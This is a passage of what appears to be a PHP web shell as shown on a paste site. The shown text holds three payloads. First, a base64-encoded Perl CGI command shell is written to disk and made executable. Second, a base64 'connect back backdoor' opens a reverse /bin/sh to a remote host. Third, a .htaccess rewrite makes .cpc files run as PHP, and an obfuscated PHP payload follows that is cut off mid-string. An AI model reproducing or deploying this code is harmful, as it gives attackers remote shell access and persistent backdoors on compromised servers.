MKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZAoJewoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUKCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkKCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7CgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOwoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7Cgl9CgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOwoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsKCQlpZighJFdpbk5UKQoJCXsKCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsKCQkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJCX0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkCgkJewoJCQkkfD0xOwoJCQkkQ29tbWFuZCAuPSAiIHwiOwoJCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCQl7CgkJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJCXByaW50ICIkX1xuIjsKCQkJfQoJCQkkfD0wOwoJCX0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKCQl7CgkJCXByaW50IGAkQ29tbWFuZGA7CgkJfQoJCWlmKCEkV2luTlQpCgkJewoJCQlhbGFybSgwKTsKCQl9CgkJcHJpbnQgIjwveG1wPiI7Cgl9CgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJcHJpbnQgPDxFTkQ7Cjxjb2RlPgpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lgo8L2NvZGU+CkVORAoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCSZQcmludEZpbGVVcGxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCglwcmludCAiPGNvZGU+VXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7CgkJfQoJfQoJcHJpbnQgIjwvY29kZT4iOwoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKCiRBY3Rpb24gPSAkaW57J2EnfTsKJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAkaW57J2QnfTsKY2hvcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwoKJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOwoKaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CgkmRG93bmxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0K';
  2310. $file = fopen("izo.cin" ,"w+");
  2311. $write = fwrite ($file ,base64_decode($cgishellizocin));
  2312. fclose($file);
  2313. chmod("izo.cin",0755);
  2314. $netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
  2315. MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
  2316. ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
  2317. MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
  2318. ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
  2319. MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
  2320. Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
  2321. KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
  2322. SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
  2323. ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
  2324. UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
  2325. VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
  2326. ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
  2327. JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
  2328. bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
  2329. ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
  2330. YXRhY2hlZFxuXG4iOw==';
  2331. $file = fopen("dc.pl" ,"w+");
  2332. $write = fwrite ($file ,base64_decode($netcatshell));
  2333. fclose($file);
  2334. chmod("dc.pl",0755);
  2335. echo "<iframe src=cgitelnet1/izo.cin width=96% height=90% frameborder=0></iframe>
  2336. </div>";
  2337. ?>
  2338. <?php
  2339. }
  2340. elseif(isset($_GET['x']) && ($_GET['x'] == 'bscan'))
  2341. {
  2342. ?>
  2343. <form action="?y=<?php echo $pwd; ?>&amp;x=bscan" method="post">
  2344. <br>
  2345. <?php
  2346. echo "<center/>";
  2347. mkdir('bscan', 0755);
  2348. chdir('bscan');
  2349. $akses = ".htaccess";
  2350. $buka_lah = "$akses";
  2351. $buka = fopen ($buka_lah , 'w') or die ("Error cuyy!");
  2352. $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  2353. AddType application/x-httpd-php .cpc
  2354. ";
  2355. fwrite ( $buka , $metin ) ;
  2356. fclose ($buka);
  2357. $bscan = 'PD9waHAgICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIlQ3RkM1NjI3MEU3QTcwRkE4MUE1OTM1QjcyRUFDQkUyOSIpKSAgeyAgIGZ1bmN0aW9uIFQ3RkM1NjI3MEU3QTcwRkE4MUE1OTM1QjcyRUFDQkUyOSgkVEYxODYyMTc3NTNDMzdCOUI5Rjk1OEQ5MDYyMDg1MDZFKSAgIHsgICAgJFRGMTg2MjE3NzUzQzM3QjlCOUY5NThEOTA2MjA4NTA2RSA9IGJhc2U2NF9kZWNvZGUoJFRGMTg2MjE3NzUzQzM3QjlCOUY5NThEOTA2MjA4NTA2RSk7ICAgICRUN0ZDNTYyNzBFN0E3MEZBODFBNTkzNUI3MkVBQ0JFMjkgPSAwOyAgICAkVDlENUVENjc4RkU1N0JDQ0E2MTAxNDA5NTdBRkFCNTcxID0gMDsgICAgJFQwRDYxRjgzNzBDQUQxRDQxMkY4MEI4NEQxNDNFMTI1NyA9IDA7ICAgICRURjYyM0U3NUFGMzBFNjJCQkQ3M0Q2REY1QjUwQkI3QjUgPSAob3JkKCRURjE4NjIxNzc1M0MzN0I5QjlGOTU4RDkwNjIwODUwNkVbMV0pIDw8IDgpICsgb3JkKCRURjE4NjIxNzc1M0MzN0I5QjlGOTU4RDkwNjIwODUwNkVbMl0pOyAgICAkVDNBM0VBMDBDRkMzNTMzMkNFREY2RTVFOUEzMkU5NERBID0gMzsgICAgJFQ4MDA2MTg5NDMwMjUzMTVGODY5RTRFMUYwOTQ3MTAxMiA9IDA7ICAgICRUREZDRjI4RDA3MzQ1NjlBNkE2OTNCQzgxOTRERTYyQkYgPSAxNjsgICAgJFRDMUQ5RjUwRjg2ODI1QTFBMjMwMkVDMjQ0OUMxNzE5NiA9ICIiOyAgICAkVERENzUzNjc5NEI2M0JGOTBFQ0NGRDM3RjlCMTQ3RDdGID0gc3RybGVuKCRURjE4NjIxNzc1M0MzN0I5QjlGOTU4RDkwNjIwODUwNkUpOyAgICAkVEZGNDQ1NzBBQ0E4MjQxOTE0ODcwQUZCQzMxMENEQjg1ID0gX19GSUxFX187ICAgICRURkY0NDU3MEFDQTgyNDE5MTQ4NzBBRkJDMzEwQ0RCODUgPSBmaWxlX2dldF9jb250ZW50cygkVEZGNDQ1NzBBQ0E4MjQxOTE0ODcwQUZCQzMxMENEQjg1KTsgICAgJFRBNUYzQzZBMTFCMDM4MzlENDZBRjlGQjQzQzk3QzE4OCA9IDA7ICAgIHByZWdfbWF0Y2goYmFzZTY0X2RlY29kZSgiTHlod2NtbHVkSHh6Y0hKcGJuUjhaV05vYnlrdiIpLCAkVEZGNDQ1NzBBQ0E4MjQxOTE0ODcwQUZCQzMxMENEQjg1LCAkVEE1RjNDNkExMUIwMzgzOUQ0NkFGOUZCNDNDOTdDMTg4KTsgICAgZm9yICg7JFQzQTNFQTAwQ0ZDMzUzMzJDRURGNkU1RTlBMzJFOTREQTwkVERENzUzNjc5NEI2M0JGOTBFQ0NGRDM3RjlCMTQ3RDdGOykgICAgeyAgICAgaWYgKGNvdW50KCRUQTVGM0M2QTExQjAzODM5RDQ2QUY5RkI0M0M5N0MxODgpKSBleGl0OyAgICAgaWYgKCRUREZDRjI4RDA3MzQ1NjlBNkE2OTNCQzgxOTRERTYyQkYgPT0gMCkgICAgIHsgICAgICAkVEY2MjNFNzVBRjMwRTYyQkJENzNENkRGNUI1MEJCN0I1ID0gKG9yZCgkVEYxODYyMTc3NTNDMzdCOUI5Rjk1OEQ5MDYyMDg1MDZFWyRUM0EzRUEwMENGQzM1MzMyQ0VERjZFNUU5QTMyRTk0REErK10pIDw8IDgpOyAgICAgICRURjYyM0U3NUFGMzBFNjJCQkQ3M0Q2REY1QjUwQkI3QjUgKz0gb3JkKCRURjE4NjIxNzc1M0MzN0I5QjlGOTU4RDkwNjIwODUwNkVbJFQzQTNFQTAwQ0ZDMzUzMzJDRURGNkU1RTlBMzJFOTREQSsrXSk7ICAgICAgJFRERkNGMjhEMDczNDU2OUE2QTY5M0JDODE5NERFNjJCRiA9IDE2OyAgICAgfSAgICAgaWYgKCRURjYyM0U3NUFGMzBFNjJCQkQ3M0Q2REY1QjUwQkI3QjUgJiAweDgwMDApICAgICB7ICAgICAgJFQ3RkM1NjI3MEU3QTcwRkE4MUE1OTM1QjcyRUFDQkUyOSA9IChvcmQoJFRGMTg2MjE3NzUzQzM3QjlCOUY5NThEOTA2MjA4NTA2RVskVDNBM0VBMDBDRkMzNTMzMkNFREY2RTVFOUEzMkU5NERBKytdKSA8PCA0KTsgICAgICAkVDdGQzU2MjcwRTdBNzBGQTgxQTU5MzVCNzJFQUNCRTI5ICs9IChvcmQoJFRGMTg2MjE3NzUzQzM3QjlCOUY5NThEOTA2MjA4NTA2RVskVDNBM0VBMDBDRkMzNTMzMkNFREY2RTVFOUEzMkU5NERBXSkgPj4gNCk7ICAgICAgaWYgKCRUN0ZDNTYyNzBFN0E3MEZBODFBNTkzNUI3MkVBQ0JFMjkpICAgICAgeyAgICAgICAkVDlENUVENjc4RkU1N0JDQ0E2MTAxNDA5NTdBRkFCNTcxID0gKG9yZCgkVEYxODYyMTc3NTNDMzdCOUI5Rjk1OEQ5MDYyMDg1MDZFWyRUM0EzRUEwMENGQzM1MzMyQ0VERjZFNUU5QTMyRTk0REErK10pICYgMHgwRikgKyAzOyAgICAgICBmb3IgKCRUMEQ2MUY4MzcwQ0FEMUQ0MTJGODBCODREMTQzRTEyNTcgPSAwOyAkVDBENjFG